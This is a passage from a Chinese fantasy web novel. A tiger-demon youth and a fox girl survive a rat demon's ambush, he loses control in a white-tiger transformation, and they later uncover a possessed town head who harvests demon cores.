逃出落霞岭,一头扎进进密林中方才觉得安全了。
君梦双脚刚沾地,就下意识将双手举到眼前。
满手的鲜血。
虽说双手抱在他后背时便感觉到了,鼻尖也萦绕着他血液的味道,猜想着是被血狼拍到石壁上时受到重创。
可先前逃亡之际顾不上许多,此时亲眼见到这刺目的腥红,都是为了护着她……
君梦忍不住红了眼眶,吸着鼻子弱声喊道:“桃哥……”
“不哭,我没事。”
顾桃声音里带着疲惫的沙哑,却依旧温温柔柔的。
他以掌腹捧起她的小脸,用干净的里衣袖口拭去她闪烁的泪花。
又检查了一遍,确认她没有什么大碍,这才松了口气,笑道:“还好你没受伤,差点又害了你。”
君梦咬着下唇角,使劲摇头。
“啧啧……真是让人感动。”
尖细的声线从旁边传来,无比熟悉,两人齐齐抬头。
报名处的八字胡邪恶嗤笑,从不远处的树后绕出来。手上掂着一柄精巧匕首,绿豆眼在月光下闪着贪婪的光。
“我家主人说了,两位既然带不回别的妖丹,那么妖力纯净的你们,便用自己的妖丹来补上吧。”
八字胡眯着小眼睛,得意地捋了捋胡须。
这家伙妖力外泻,已经完全将鼠妖的身份暴露出来。
君梦嫌恶地骂道:“该死的胖耗子肥老鼠!就知道你没安好心。”
八字胡面上抽搐,目光瞬间冷了下来,“最讨厌别人叫我死胖子!”手指弯曲塞入口中吹起响哨。
“呼啦”一声,林子里立刻又跳出来七八只半人高的灰毛鼠精,将他们二人团团围住。
八字胡狠厉地一招手,鼠精们便一起攻向顾桃。
“滚开!”
顾桃大喝一声,手中长斧蓝光骤亮,在身边劈出一道道弧线。
然而这一斧接一斧的剧烈动作,将他背上的伤口再次撕裂,让他的反击始终慢半拍。
灵敏异常的鼠精走位刁钻,配合默契,不多时又给他身上添了不少新的伤口。
君梦这边也被缠住,空不出手来替他解围,眼睁睁看他浑身逐渐被血染红。
“小姑娘,专心点!”
八字胡轻松躲避着她心不在焉的蛊藤,几个回合便已经欺身近前,逼得她节节败退。
君梦一咬牙,干脆放弃绿玉,从拔出腰间匕首与之对拼,一刀一刀抵挡着他的进攻,却完全处于下风,根本没有还手的余地。
“唔……”君梦闷哼一声,腰间被划中一刀,露出雪白肌肤,沁出血珠子。
八字胡嘿嘿一笑,眼中精光更甚。
“梦儿!”
顾桃目眦欲裂,一脚踹飞身前的鼠精,想要冲过去救她。
可这一转身,背后破绽百出,霎时就被身后的家伙偷袭。
鼠精尖利的牙几乎要扎穿他的骨头,疼得他紧皱眉头,遍生恶寒。
两人都因为对方受了伤而更加心慌意乱,招式越发凌乱缓慢。
眼看八字胡的匕首又朝着君梦小腹划去。
忽然,慵懒的声音自林中漠然响起:“一群杂碎也敢欺负人?”
几簇火焰呼啸着从地面窜起,像是长了眼睛的炎妖般,精准缠上八字胡和他的手下,独对两人视而不见。
众鼠连连惨叫,眨眼的功夫就被烈火燎去大半皮毛,连滚带爬地好不狼狈。
顾桃艰难地喘了口气,拼命压抑下心中那团烦躁感。
他收了长斧踉跄着赶到君梦身边,从须臾袋内摸出绷带先给她包扎。
树影晃动,那名红袍男子轻飘飘落在他们身前,脸上仍是那副玩世不恭的模样。
顾桃刚要道谢,却见这男子轻浮地目光掠过君梦渗血的腰身,调侃道:“小狐狸模样倒是俏得很,就是这一身的血污,可惜了好皮毛呀。”
君梦瞥了他一眼,看在方才他出手相助的份上,懒得与之计较。何况现下顾桃身上伤口遍布,血流如注,她实在也提不起与人斗嘴的兴致。
“你说什么……”
顾桃动作微颤,像是极力压制着自己的情绪。
但今日接连的打击、将心爱的姑娘置于险地、伤口的疼痛,实在是狠狠挫败着他的自尊,再混合着被这句话挑起的怒火,他体内那股莫名的力量终于按捺不住,开始激烈狂跳。
红袍男子像是没听见他压抑的语气,竟兀自伸出手想碰君梦的狐耳,“听说白狐的皮毛最为美丽,不知道……”
“你敢动她!”
突然的怒吼惊飞了枝头夜鸟。
顾桃双眼绿光浮动,喉间隐隐发出低沉闷音。
君梦瞧着他模样有异,大吃一惊。紧紧挽住他的胳膊,小脸煞白轻声安抚:“桃哥……桃哥,你清醒点!……”
红袍男子显然也感到周遭气息变得不太对劲,足尖轻点跃到后方树上,嘴里却仍是贱兮兮道:“哟,小妖怪脾气倒是不小!可惜妖力虚浮得很,连个姑娘也保护不好。”
顾桃再也憋不住体内澎湃,他强行控制着力道甩开君梦,反方向往后退了好几步,离她远远的,眼底盖不住生怕伤了她的恐慌。
只一瞬,他视线开始模糊,仿若身处混沌,头晕目眩得更像是被重锤砸击。浑身皮肤烫得难以忍受,脖颈处刺痒加剧,肉眼可见的浮现出厚重白虎斑纹。紧接着,在一阵肌肉撕裂的剧痛中,身形猛然暴涨。
“嗷——!”
一声虎啸冲破喉咙,直震得树叶籁籁飞舞,林中兽纷纷四处逃散。
雪白的皮毛扎破他的衣衫,锋利的虎爪弹出指缝。不过数息,一头巨大的、威风凛凛的白虎已傲立林间,额间的王字墨纹凭添了几分贵气。
只是初变白虎时步伐混乱,东倒西歪,周围巨树倒是成了他的临时依靠。
君梦被他抛得摔在一旁,还来不及惊呼出声,只听断断续续的“咔嚓”声接踵而至,她凭着本能屏气一滚,贴着地面躲避被他撞倒的断树。
白虎甩了甩头,吊起眼角,墨绿的虎瞳里只剩狂怒暴戾。
它认准树上最为显眼的那团红色后,四爪蹬地猛然跃起,带着千钧之力扑将过去。
红袍男子脸上的戏谑终于收敛,虽说惊异不已,却还是仗着自己灵力强悍,迅速唤出盾术笼罩己身,同时掌心腾起大簇火焰,如莲花绽放,抬手就朝扑过来的兽王砸去。
不曾想,对方硬生生抗下这一击,“呯”得一声,他的火焰莲就被撞散在扑面而来的妖风中。
望着近在咫尺、逐渐兴奋的虎瞳,他突然低笑起来:“白虎后裔?!怪不得火气这么大,有意思。”
白虎根本不理会他,再次扬起巨大虎爪猛拍过来。
这一击虽是拍到男子的盾上,却还是震得他浑身发麻,身后树杆不堪重负,应声断裂倒下,红袍男子也跟着摔落在地。
白虎极速跃过来,一爪子将他掀翻,居高临下,恶狠狠地朝他龇牙低吼。
君梦喘着气跌坐在地,眼看失控的顾桃焦急万分,这是第二次见到他这般癫狂的模样。
她努力回想,村里伯伯当年是怎么阻止他来着。可她今天一下子装进太多信息,思绪混乱,脑子竟越想越空。
这时红袍男子唤出短笛想要施术。
强烈的危机感让白虎毫不犹豫一把按住他的身躯,带着怒意的咆哮几乎要震碎他的耳膜。
跟着便是狂风暴雨般、不留余地的猛击,消耗他的灵力,瓦解他的盾术。
逐步破裂的盾下,虎爪撕开了他的红袍,獠牙擦着他的脖颈划过,每一击都带着毁天灭地的蛮力。
原本男子擅长远程术法,此刻被白虎黏着贴身暴打,全身灵力都调集起来形成防御,反击的术法完全施展不开。
尖锐的虎爪带着一股霸道妖力,牢牢禁锢着他,连缩地术都使不出来。
君梦焦灼的呼喊也没能停下他的动作,直到红袍男子咳嗽声中混着笑意,大喊道:“够了够了……再打下去,老子要被你打死了!好歹将将才救了你们!”
这话让白虎一滞。
它出够了气,烦躁感也消散得差不多,神智慢慢恢复过来。
定定地看着脚下嘴角带血却还在笑的男子,兽王眼中凶光褪去,喉咙里发出一声委屈的低吼,甩甩尾巴后退两步,在月光下又慢慢变回了少年郎。
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逐渐清醒的兽人慌忙取出一件长袍胡乱裹上身体。
顾桃胸口剧烈起伏,壮硕的胸膛上,白毛墨纹还没有完全褪去。
君梦揉揉发软的腿脚,撑起身子靠过来,轻轻握住他的大掌。
顾桃眼中流露出一丝说不清道不明的情绪。
他低下头,没有回应。
红袍男子捂着胸膛艰难坐起,扯了扯被撕烂的衣襟,咳出一口血染红了绸缎里衣。
他望着平静下来的顾桃,笑出声:“痛快!很久没人敢这么揍我了。”
顾桃别过脸不看他。
君梦斜视着他,不悦道:“谁让你招惹他?……”
……要是我桃哥出了什么岔子,我跟你没完!不过这句被她隐了过去。
不知此人究竟是敌是友,变化原身会对顾桃产生极大的伤害,这点还是不要向外人透露为妙。救命恩情再重,也得排在顾桃的安危之后!
男子摆摆手,自己扶着树杆站起,看了一眼顾桃,眼中多了几分真诚:“是我刚才话说得糙了。”
顾桃还是没有反应,像在思考着什么。
红袍男子也不在乎,自顾自又说:“你这变身倒是挺有意思,就是太疯狂,像是控制不住自己一样。”
顾桃这才深深看了他一眼。
刚才的戾气消散,他整个人就变得柔和下来。喉结滚动,最终还是什么都没说,他回握君梦纤手,一言不发带着她往镇子走去。
红袍男子尴尬地摸摸鼻子:“真是个闷葫芦!”
“嘶哈……”
呼吸间,胸口传来一阵不适,疼得他龇牙咧嘴。
若有所思地往他们消失的地方再看一眼。
男子缓了缓劲,伴着夜风,独自一人回了住处。
…………
宽敞明亮的书房,安静而详和。
“长老……这、这块小石头亮了……”
磨着墨的小童仰起头颅,想松快松快脖颈,却一眼瞧见珍宝架最边上,闪烁着微弱红光。
“什么石头?莫要扰我……”
灰衣白须的老者手中执笔,伏案疾书。
思绪突然被小童出声打断,表情有些不悦。再看铺开的几张法阵图纸,顿时莫名烦躁。
小童瞥见长老皱着眉头拂袖,也知道惹他生气了。
他有些手足无措,可好奇心大起,还是忍不住小声提醒:“……就是您从不肯让别人碰的那块东西。”
说完,小童赶紧低下头,微弓着身子候在一旁。
“……什么?!!!”
白须老人身子一顿,猛地转头,昏花的老眼射出精光,像是忽然想起了什么。
苍老的声音也没了往常的慵懒,甚至还带着几分尖锐。
他揉了揉双眼,微红光芒仍旧映入他的眼帘,他微张着嘴,有些不敢置信。
颤颤巍巍从案几后站起身往那处走,先前的疲惫一扫而空,衣袖拂过桌面也不曾察觉。
小童生怕墨汁弄脏了他的衣摆,快步上前替他拢了拢袍角,跟在一侧扶着摇摇欲坠的老人。
“怎、怎么可能!!她明明已经死了啊!!”
老人枯瘦的手指悬在光团附近,呼吸急促起来。手一松,竹笔“啪嗒”掉在地上,饱满的墨汁四下飞溅。
小童没来由紧张起来,生怕他下一刻就会厥过去!
他从未见过长老如此失态,平常的长老好像永远都胜券在握,游刃有余。
此时老人的目光却紧盯着那点红色微光,佝偻的腰背努力想要挺直,胸前白须随着他的身形晃动。
这东西他一直不肯丢,哪怕是每见着它一次心里就揪得疼一次。
只有让这东西时刻提醒着他将近的寿命,才能促使他不断完善法阵。
他一直期盼着,能在有限的生命里快些完成所图计划。
那日来临,便是他获得永生之时!
小童仗着老人平时对他的喜爱,鼓起勇气大胆问道:“长老,这到底是什么?”
老人像是没听见,隔了许久才平复下心境,吐出带着笑意的哼声。
“这是一只顶极大妖的追踪术碎片,说不定……我们的计划可以提前了!”
19. 下次,你离我远些
客栈的烛火在窗纸上投下摇曳的光影,空气中弥漫着一股淡淡的草药味。
君梦拉上床缦,在腰间随意涂了点止疼膏,另外换了身干净的衣裳。
等她钻出来之后,不容分说强行扒开顾桃的袍子,露出他满是伤痕血迹的胸背,几乎已经没有完整的皮肤,抓着他衣襟的指骨因为攥太紧泛着青白。
她知道这些对于他来说都是皮外伤,过不了多久就会消退,可愈合之前该疼总是会疼的。
两人从小一起长大,哪怕是在村里跟伯姨们切磋的时候,也从没见他伤得这么重过,不看一眼始终不放心。
桌上粗瓷碗里,盛着黑糊糊的止疼药膏。
她一手撩起他的白发,一手执蘸了药膏的棉布,细细敷在他后背最大的那处伤口上。虽然足够轻柔,可还是引得他闷哼一声。
“……我、我轻点!”
君梦赶紧撒手,俯身呼呼地替他吹着,就像胡爹哄她那样。
顾桃头皮发麻,只觉得一阵疼一阵痒,浑身都起了鸡皮疙瘩。赶忙拉过她摁在凳子上,制止道:“别忙活了,过两天就会好的。”
君梦闻言不语,将瓷碗置于桌上,默默低下脑袋。
顾桃带着一丝不安,问道:“怎么了?刚才……又吓到你了吗?”
他视线缓缓转动,看着自己布满深浅伤痕的手臂,有爪伤、齿痕,可还有些凭空破裂的口子是他想不起来怎么造成的。失控变身后那段记忆一片空白,他最怕的就是这样。
“不是的,我不怕。”
君梦回答的话语有些心不在焉,她不知道该怎么表达对他的担忧,总觉得说了娇情,不说又憋屈。
顾桃的喉结滚动了一下,没有接话,只是平静地接过她递来的湿帕子,一点一点擦拭着身上的血迹。
君梦再次起身,拿起绷带藏进他看不到的地方,一圈一圈替他包扎后背的伤口。
他暗暗叹了口气,拉起系在腰间的衣袍,一边往上穿一边轻声说:
“下次,你离我远些,躲得远远的…在看不见我的地方等我就好……我不想…不想再像小时候那样吓到你,更不想伤害到你。”
君梦一听这话,突然将手中剩余的绷带摔到地上,生起气来:“不是的!我不怕你!我只是担心你……”
说完,她莫名觉得委屈,瘪着嘴躲进床缦不再理他,拿被子将头一蒙,一副也不想听他说话的模样。
“……”
顾桃低垂了眼眸,不再吱声,只稍微收拾一下杂乱的物品,熄灭了烛火。
君梦气鼓鼓埋在被子里,有限的空气让她更加憋闷。悄悄用手在被角捅了个小洞,新流进来的空气凉凉的,激得头脑忽然清明。
她悄无声息大大吸了一口气,面部朝下趴在床上,紧抿着双唇。
他明明是为了她好,也不知道自己在气什么?!
迷迷糊糊地想了很多,不知几时睡着,梦里好像又回到了那个时候……
……
步履蹒跚的她,跟在高出一个头的小顾桃身后,非要去看他练习搏斗。
村后的老树下早已聚集了七八个伯姨。他们整天就靠逗弄村里的娃娃渡过无聊的日子,尤其喜爱小小年纪却悟性极高的小顾桃。
看着两个可爱小娃拉拉扯扯往这边来,不禁玩心大起。
“小桃桃今天状态不错呀,不如多练几套基本功?”
“基本功哪够,得试试新学的绞杀术!”
“光是练套路多枯燥,得试试实战对打!”
“……”
原本只是寻常的陪练,在长辈们的起哄里渐渐变了味。
小少年的拳头从试探性的轻挥变成迅猛的直拳,腾挪闪避的步伐越来越急促。
小君梦坐在一旁的石墩上,蓬松的尾巴兴奋地摇,每看到精彩处就拍着小手尖叫:“桃桃哥哥好厉害!”
她的崇拜称赞更加激励着小少年的气势。
高大的六伯看得兴起,突然站起身,活动着手腕发出咔咔脆响,笑道:“小桃桃,来跟伯伯过两招!”
周围顿时响起一片叫好。
小顾桃瞥了眼满脸期待的小女孩儿,捏紧拳头挺直了背脊。
他知道自己现在的力道还撑不起高强度的对抗,但脆生生地“桃桃哥哥加油!”就像一团火焰,烧得他胸腔发烫。
“请六伯伯指教。”
一大一小拳脚碰撞的闷响在暮色里炸开,起初还能看出些招式章法,到后来,小孩儿就只剩下蛮力硬拼。
小君梦的叫好声渐渐低了下去,她看见桃桃哥哥额角渗出了汗珠,胳膊上甚至泛起了青紫。
嫣红婶越看越觉得不对劲,敛了笑容站起身,叫停两人:“别打了!快住手!!”
话音未落,突然,小顾桃高高仰起头,发出一阵极其痛苦的嘶吼。
霎时间,周围的灵气像被大力拉扯的绸缎,疯狂涌入他的体内。他的骨骼发出噼啪炸响声,身形以肉眼可见的速度膨胀,灰色粗衫寸寸碎裂,周身妖气荡得尘烟滔滔。
等烟雾散去,原地哪还有小少年,赫然蹲踞着一只通体雪白的猛虎,铜铃大眼里翻涌着凶光,摇摇晃晃踏着步子低吼。
“糟了!”
前一刻还在嬉闹的长辈们,脸色变得极其难看。
这时,稳住身形的白虎一声咆哮,猛地扑向离它最近的二姨婆,粗壮的前肢带着撕裂空气的风。
幸好嫣红婶反应快,及时甩出藤鞭缠住它的后腿。
可这家伙蛮劲大得惊人,只略微一停顿,便拖起藤鞭继续往前。
二姨婆冷汗直冒,飞起身形就往空地跃去。
伯姨们生怕伤到他,也只能纷纷祭出困缚类的术法,试图控制住他。
五颜六色的灵光在白虎身上炸开,却只引来阵阵不满地怒吼,以及更加疯狂的撞击,将平日里疼爱他的长辈们冲撞得东倒西歪。
小君梦被这突如其来的变故吓得呆怔当场,那声“桃桃哥哥”也被噎在喉咙里。
受了惊动赶来的二伯脑门青筋直冒,先是一把将呆住的小君梦捞起,塞到随后赶来的胡爹怀里,再从须臾袋中取出特制的锁妖链,这才在众人的合力下将他捆住。
白虎被禁锢在原地动弹不得,声声嘶啸伴随着痛苦的呜咽。
也不知过了多久,像是终于耗尽了力气,那庞大的身躯才轰然倒地,在喘息声中身形迅速缩小,重新变回了小少年的模样。
小顾桃在一阵剧痛中睁开眼,感到筋疲力尽。最先映入眼帘的是满地狼藉,以及长辈们凝重的脸。
他动了动手指,刚想撑起身体来。随着耳中鸣音的消失,却听见旁边传来撕心裂肺的哭声。
胡爹站在远处,怀里窝着一只缩卷着白尾巴的可怜小狐妖,哭得满脸泪痕,上气不接下气,一双小胳膊紧紧勒着爹爹的脖子。
胡爹轻轻拍着她的背低声呢喃安抚,担忧的眼神看向小顾桃,却因为担心女儿害怕,始终没有上前一步。
“……”
小顾桃张了张嘴,眼里起了一层雾气,只觉得有什么东西狠狠扎进心脏。
二姨婆和嫣红婶拿起一件宽大的粗布衣,将他裹了,搂在怀里轻声安慰。
“小桃桃,没事了啊,不怕不怕……”
二伯铁青着脸,带领其他心虚的伯伯们打扫“战场”,隐避在深山的小村子重新归于平静。
“那时的他,一定很无助,我却没能第一时间去陪伴他……”
君梦被困在梦境里,只觉得心口一阵疼。
自那次之后,再也没有人提起过这出意外,而当时她还小,哭过就忘,也没有多
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加询问。
她只隐隐约约记得,桃哥当时避开她,独自闭关了好久。
现在又经历了一次,如今回想起来,倘若不是伤重,又为何会闭关?是以,她实在担心这样的环境和潜在的敌人,他能好好调理休养吗?
仅凭她自己,能否将他保护好?
……
“梦儿……梦儿……”
恍恍惚惚地,有一道熟悉而令人心安的声音在她耳边反复呼唤。
她感受到脸颊湿濡,还带着微凉触感,是那人在用指腹温柔替她擦拭。
君梦抽泣着,迷迷糊糊地睁开眼睛,视野朦胧几不可辩。
她发现自己缩成一团窝在床角,就像梦里窝在爹爹怀里那样。
一团黑影弓着背,正半跪在床边。
顾桃面上满是慌张,见她总算清醒过来,这才勉强压下内心的不安。
他俯下身子,又凑得近了些,柔声问道:“做噩梦了么?别害怕。”
“……”
君梦对他的问话充耳不闻,只泪眼婆娑盯着他看,通红的眼睛里盛着复杂情绪。
顾桃见她这副模样,越发焦急,心道定是他的变化又吓着她了,一丝酸楚涌上心头。
他躲开她的视线,张了张嘴正要说什么。
突然,这可怜巴巴的小妮撑起发软的身子,伸出双手拉住他的衣襟,不顾一切地就朝他扑了过来……
君梦双臂轻轻穿过他的腋下,小心翼翼又紧紧地环住他肩臂,带着泪水的脸颊打湿了他的胸膛。
她的动作很轻又很急,生怕碰到他后背的伤,又想努力让自己贴近他温暖的怀抱。
她就是很想抱抱他。
顾桃一愣,再没有丝毫犹豫,当即展开双臂,揽住面前悬空的纤细腰肢往前一拉,将她整个紧贴着圈在自己怀抱里。
他学着胡爹那样,一下一下轻轻拍着她的背,喃喃地:
“不怕,不怕,我在。”
……
早点铺里热气腾腾,刚炸好的酥软果子裹着香料,在盘子里泛着油光。
顾桃把一碗肉汤推到君梦跟前,正巧她想拿桌上的糖罐子,他的指尖不小心碰到她的手背。
她手一缩,罐子和碗发出清脆的碰撞声。
顾桃瞧着她今早起来后就有些窘迫的表情,昨晚情景又浮现在他脑海里,指尖便有些发烫了。
君梦眼神闪躲,低头咬了一口果子,含糊不清地问:“你……你没事吗?”
忆起昨晚半夜时分,原本她在梦中哭得抽抽搭搭,最后躲进那个舒适的怀抱里才又安稳睡去。这人见她不撒手,索性就在床上抱着她坐了一晚。
她直睡到日上三竿,打着哈欠睁开眼时,仍然搂着她的顾桃双眸清澈,也不知是一夜未睡,还是早已清醒。
原本是希望他躲起来好好休养身体,结果反倒被她拖着累了一宿……
而且虽然两人平常时时接触,背背抱抱如同家常便饭,可自己明明才闹了莫名的脾气,多少显得她脸皮厚了些……
君梦越想越觉得别扭。
“不妨事。”
顾桃见她神色尴尬,也不知道在想什么。但他觉得自己应该找个什么由头来缓解一下气氛才行。
他从容不迫地端起汤碗,平稳开口:“这场除厄大赛有猫腻,晚些时候,我想去探一探那报名处的别院。”
“不行!你一个人……不是,你得带上我!那只该死的臭老鼠,太嚣张了,明摆了是在回程路上捡漏的!我得去收拾它!”
果然上当的妮子顿时没了那股半羞半恼的神态,将汤碗往桌上一掷,恶狠狠的像要活撕了那肥耗子才能找回场子。
顾桃暗自勾起嘴角,不露痕迹地回了句:“好,那股花香有古怪,要小心。”
“嗯嗯!”
20. 夜探别院
寅时,夜色正浓。
一大一小两道黑影如同灵巧狸猫,悄无声息就翻过了镇长别院的青石墙。
满院的红色蔷薇正妖艳绽放,空气中弥漫着令人心悸的浓郁甜香。
两人深吸一口,鼻腔内提取出不寻常的恶臭气味,与那股甜香交织在一起,形成另一种诡异的味道。
君梦比划着手势,以极轻的声音说道:“花香里混合的,有点像尸气?……”
顾桃凑近她耳边,幽幽答道:“是邪灵的死气。”
呼出的热气吹得她耳廓发痒,狐耳忍不住扑扇了几下。
君梦仰起头与他对视一眼……
他的举动有点怪怪的,但是又很合理!夜深人静的时候,两个小贼狗狗祟祟贴墙蹲踞,凑近了小声说话,没毛病啊?!
可是他好像忘了,她的听觉是很灵敏的,不需要这样……果然还是被变身伤到了脑子!她要好好保护他。
君梦按下疑惑不表,偷摸摸地拉着他开始小声探讨院中奇怪的地方。
两人话还没说几句,假山后突然窜出来一群灰白影。为首的正是那八字胡,带着他的小弟们。
此刻鼠妖们的脸映在月光下,透露出一种不太正常的青黑色,身子上还缠着被污水沁透的绷带,嘴角淌着粘稠的涎水,模样狰狞可怖。
“主人说了,送上门的祭品,不收白不收。”
八字胡的声音沙哑干涩,完全没了前两日利索尖细。
语毕,四周钢叉似的利爪,带着凌厉的风声划过来。
顾桃几乎是凭着本能,猛地将君梦推开,随手唤出宣花,在月光下划出一道寒光,身形如箭般向前劈砍而下。
八字胡刚扬起匕首,就被斧刃劈中肩头。
可击中的地方却发出一声沉闷的响声,竟像劈在了朽木上一般,伤口处连血液都没有,只有黑灰色的粉末簌簌落下。
顾桃明显感觉到它们不同于前的迟顿,提醒道:“小心,都是些皮囊已经腐朽的死灵!”
鼠妖们此时虽然数量颇多,但身躯始终已死,动作变得有些僵硬,灵活性大大降低。
他一脚猛踹八字胡腹部,使出蛮力将八字胡肩上的斧头拔出,挥舞横扫,将刚到身旁的鼠妖拦腰截断,黑粉末撒了一地。
君梦后退了好几步,险险躲过一只鼠妖的偷袭。
她满心满眼都是“伤重”的顾桃,只想快速解决了眼前干扰,好去助他一臂。
只见她手腕轻轻一抖,腰间的绿玉如灵蛇缠向侧面袭来的鼠妖,被附着了炎蛊的鞭子紧紧勒住脖颈,烧得它吱吱乱叫。
紧接着,她另一支手抽出匕首,寒光一闪,精准刺入鼠妖的眉心。
这具被死灵控制的鼠妖重重摔到在地,又死了一次。
三只鼠妖恰巧躲过顾桃的的长斧,干脆就冲着旁边的君梦围攻过来。
君梦脚步轻盈,左脚点地,身体向后弯折避开正面的攻击,同时鞭子向后一甩,缠住身后鼠妖的腿用力一拉,那鼠妖便向前扑倒,直直撞向前方两只鼠妖,三只老鼠瞬间乱作一团。
八字胡口中冒着黑烟,动作比其他鼠妖要稍显灵活,吱吱怪叫一声,又挥着匕首冲上来。
顾桃迎了上去,精钢打造的匕首与斧刃相碰,发出刺耳的金属撞击声。
君梦看准时机,鞭子如电射出,缠住八字胡的匕首猛地一夺,匕首便从它手中脱出,她随之侧头,匕首擦着脸颊斜斜扎入花圃泥土内。
顾桃长斧直劈而下,八字胡闪躲及时,只被削掉一只耳朵。
“快走!”
顾桃趁机拉起君梦,朝着群鼠包围的空缺处奔去。
他知道不能恋战,这群小喽罗都出动了,背后的人指不定会再派出什么难缠的东西,耽搁越久危险就越大。
前方院墙角有棵古树,君梦刚抛出绿玉缠上枝干,顾桃便心领神会,一手握斧揽着她,另一只手抓住鞭身用力一拽,两人身体腾空而起,落上了高出院墙的树枝,纵身一跃,便进入后院的范围。
鼠妖们在后面嘶吼着追赶,但因为僵硬的身体和院墙的阻拦,只能眼睁睁看他们的身影消失在茂密树丛的阴影中,留下乱颤枝叶。
两人轻手轻脚在后院走廊穿行,身后鼠妖们的动静已然小了许多。
又过一个转角,进入了一方单独的小院。
月光透过树叶的缝隙照耀下来,他们靠在墙角的阴影里歇着气。
顾桃打量着她:“有受伤吗,给我看看。”
君梦呼出一口气摇摇头:“我没事,倒是你,还撑得住么?”
顾桃不明所以,只当她是担心他背后的伤口,心一下就软了,莞尔笑道:“放心吧,要不了几天指定好。”
君梦细细观察他的脸色神情,确无异样。想必是长大后能抵挡得住那股力量了吧?毕竟他们在叔伯姨婶的摧残中,修行从未有一天落下。
她轻轻点头,放下心来。
正当两人想商讨接下来的计划,一股腐败气息朝他们飘来,这股死气简直比前院浓重了数倍不止,闷得人胸口发紧。
君梦捂着口鼻,指了指侧方:“在那边,”说完猫着腰就往那边去了。
顾桃紧跟其后。
死气最浓郁的地方是这片小院的正屋。
院子东北角有株半枯的老槐树,枝上悬挂着空荡荡的鸟笼,几撮粘黏在一起的破旧羽毛随风而动。
正房的朱漆木门虚掩着,烛光从门缝透出来。
屋内设有一座神台,神龛前立着一鼎青铜小香炉,炉内插着的三支残香并无半点火星。而本该是神像的位置却被黑布蒙着,形状臃肿,甚是奇怪。
屋里突然飘出模糊的人声,顾桃不敢再探,默默缩回身子,并顺手按住身后伸长脖子张望的小妮。
那声音像是两个人在交谈,但是隔着厚重的门板,以及树叶沙沙声的干扰,每句话都混成了一团,叫人听不真切。
君梦挣扎着逃脱他的巨掌,只见顾桃朝窗台下偏了偏头,她心领神会。
于是二人猫着腰来到窗前,君梦矮小的身子蹲到了窗沿下,顾桃则背贴墙壁尽量靠近窗台。
窗上糊着的桑皮纸映出屋内晃动的人影,这个被光影拉得老长的身影顿住片刻,忽然转身向窗边挪动,两人不由摒住了呼吸。
就在这时,侧厢房的门“吱呀”一声被拉开,一个穿着灰布衫的老人家从里面快步走出,手里端着黑漆托盘,上面放着一个青瓷药碗。
他来到正房门前向里询问:“老爷,可还需饮用汤药?”
窗边蹲着的两人与老人几乎面对面,不禁如临大敌,浑身绷紧,君梦下意识就想起身开溜。
老人却像是特意赶来的,连忙微微冲他们摇摇头,看他神情像是在示意:别动!
沉默半晌,屋内响起沉闷的声音
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,带着一丝不耐烦:“不必了!”
话音刚落,就听到“吱呀”一声,正房的门从里面被关上。
老人吁出一口气,空出一支手冲他们俩招了招。
刚从惊吓中缓过神来的两人,感受到老人似乎没有恶意,况且现在情况紧急,于是又猫着腰,小心翼翼跟随老人进了侧屋。
老人反手关上房门,将托盘置于桌上,招呼着他们一同来到里间,压低了声音急道:“快跟我走,这里不安全!”
穿过一扇木屏风,老人来到床边,掀开床前深色地毯,露出一块厚实木板。
顾桃帮着将木板移开,地面赫然出现一个黑漆漆的大洞口,杂乱的浅梯顺着洞口往下,逐渐平缓。
老人点了一只纸灯笼,当前带路,两人不吭一声跟了上去。
昏黄的灯光下,可见地窖通道斗折蛇行,壁上有很明显的爪子挖掘痕迹。
走在最后的顾桃因为身材过于高大,需弓背弯腰还得曲着腿,双手撑着洞壁行动,很是吃力,算是遭了老罪。
君梦心下嘀咕,也许跪着往前爬会轻松些?
啧……太不体面,万万提不得,绝对会挨训!
她正打胡乱想,前方传来老人的声音,带着一丝疲惫和恐惧:“我是镇长家的大夫,叫仲宇行……以前姓柳,只是从小跟父亲在仲家落脚,谋了这份差,后来蒙老爷照顾,便随了主家姓。”
仿佛是终于找到情绪的突破口,亦或是怕将来没有机会,老人也不管两人什么反应,自顾自继续讲着。
“四年前,镇长带领家奴去了一趟西郊,回来后整个人就性情大变,开始疯狂收集那些带秽气的妖丹……”
灯火的忽明忽暗,映照得老人的脸也随之阴晴不定。
“小镇能人毕竟少,野外恶妖不知怎地也越来越多,光靠猎手们取不到多少妖丹……。”
于是镇长便举办了“除厄会”,打着为小镇清除恶妖的幌子,召集各路人才替他取丹。
但是因为奖励不算特别丰厚,也就只能吸引到一些普通能力的种族。
而镇长,恐怕也早就不是原来的镇长了,从别院掩盖在花香下的死灵气息来看,他的身体里一定住着一只邪灵,而且极有可能是只虚弱的邪灵。
它需要用妖丹延续自己的生命,大抵是本身寿命将近,或是受了什么重伤,因为隔三差五还需要仲老大夫为他调配养息汤药,可见这只邪灵的能力已经不足以平衡镇长的身体状况了。
两人将老大夫断断续续提供的线索串连起来,竟渐渐地接近了事件的真相。
至于它为什么想要他们二人的妖丹,大概是他们妖力更加纯净,效果比带秽气的妖丹好上不知道多少倍。
加上二人年纪小、外地来此、且没有监护,这实在也是上佳人选。
而“带秽气的恶妖妖丹”,也不过是它可以正大光明收集妖丹、哄骗其他人的手段罢了。
另一方面,来到小镇参赛的人员,实际上每年或多或少会折损不少在恶妖手中,但在八字胡手上签订了生死契约的他们,是没有人可以来追究的。
如今看来,所谓“折在除厄会上”的人到底是怎么死的,就有待定夺了。
也许这部分人员的妖丹或是灵气,早就暗中到了它手上也说不定。
越是盘点,越是心惊,想不到这后面埋着这么大一盘棋,而他们正置身于棋盘之中。
21. 邪灵坐神台
顾桃冷汗直冒,但觉一阵后怕,终归还是太年轻太冲动太自信了些!
以他们目前的能力,邪灵已经不是他们能对付的物种了,如果运气再差一点,可能真的就得把命搭在这里。
老人观点与他不谋而合,手扶着洞壁停下脚步,微微喘气:“你们不能再插手了,这件事不是你们两个孩子能解决的,况且那东西的主意已经打到你们头上,必须马上离开这里。”
稍作歇息,老人举起手中纸灯笼往前照了照,又喘了一口气再次说道:
“前方便到了……老朽如今实在是有心无力,你们要将这个消息带出去,如果……”老人一顿,勉强笑了笑:“要是你们愿意,希望你们替老朽寻来大能之人,除了这邪祟,救救镇长……”
君梦当即应下,老人感激地点点头,转身继续往前走。
行了许久,前方终于透出微光。
老人加快了脚步,当先出洞口时带起一阵草屑,二人紧跟着钻了出来。
顾桃站直身子,顿感腰酸背痛。
四下张望,才发现三人站在一片野草丛生的乱坟岗里。
阴阳交错的光芒铺在参差不齐的坟包上,新草从旧坟的裂缝中冒出来,在风里摇得像一朵朵招魂幡。
